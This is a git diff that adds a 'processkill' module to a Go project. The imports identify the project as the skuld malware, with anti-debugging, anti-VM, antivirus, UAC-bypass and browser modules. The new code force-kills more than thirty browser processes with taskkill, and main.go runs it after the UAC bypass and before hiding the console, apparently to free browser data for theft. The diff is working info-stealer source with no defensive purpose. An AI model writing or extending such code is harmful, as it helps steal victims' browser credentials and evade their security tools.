diff --git a/main.go b/main.go index 105f798..4740f64 100644 --- a/main.go +++ b/main.go @@ -2,6 +2,7 @@ package main import ( "github.com/hackirby/skuld/modules/antidebug" + "github.com/hackirby/skuld/modules/processkill" "github.com/hackirby/skuld/modules/antivm" "github.com/hackirby/skuld/modules/antivirus" "github.com/hackirby/skuld/modules/browsers" @@ -44,6 +45,7 @@ func main() { } uacbypass.Run() + processkill.Run() hideconsole.Run() program.HideSelf() diff --git a/modules/processkill/processkill.go b/modules/processkill/processkill.go new file mode 100644 index 0000000..2afc8c5 --- /dev/null +++ b/modules/processkill/processkill.go @@ -0,0 +1,46 @@ +package processkill + +import ( + "os/exec" + "strings" + "time" +) + +func seqStop(processName string) { + cmd := exec.Command("cmd", "/C", "taskkill", "/F", "/IM", processName+".exe") + cmd.Run() +} + +func procCheck(processName string) bool { + cmd := exec.Command("cmd", "/C", "tasklist", "/FI", "IMAGENAME eq "+processName+".exe") + output, err := cmd.Output() + if err != nil { + return false + } + return strings.Contains(string(output), processName+".exe") +} + +func recheck(processName string) { + seqStop(processName) + time.Sleep(1 * time.Second) + if procCheck(processName) { + seqStop(processName) + } +} + +func Run() { + browserProcesses := []string{ + "360chrome", "360se", "avant", "brave", "chrome", "chromium", "citrio", + "comodo_dragon", "coolnovo", "coowon", "cyberfox", "deepnet", "dooble", + "epic", "firefox", "iceweasel", "iridium", "k-meleon", "maxthon", + "msedge", "netscape", "opera", "palemoon", "safari", "seamonkey", + "sleipnir", "sputnik", "torch", "ucbrowser", "vivaldi", "waterfox", + "yandex", "yandexbrowser", "operagx", + } + + for _, processName := range browserProcesses { + if procCheck(processName) { + recheck(processName) + } + } +}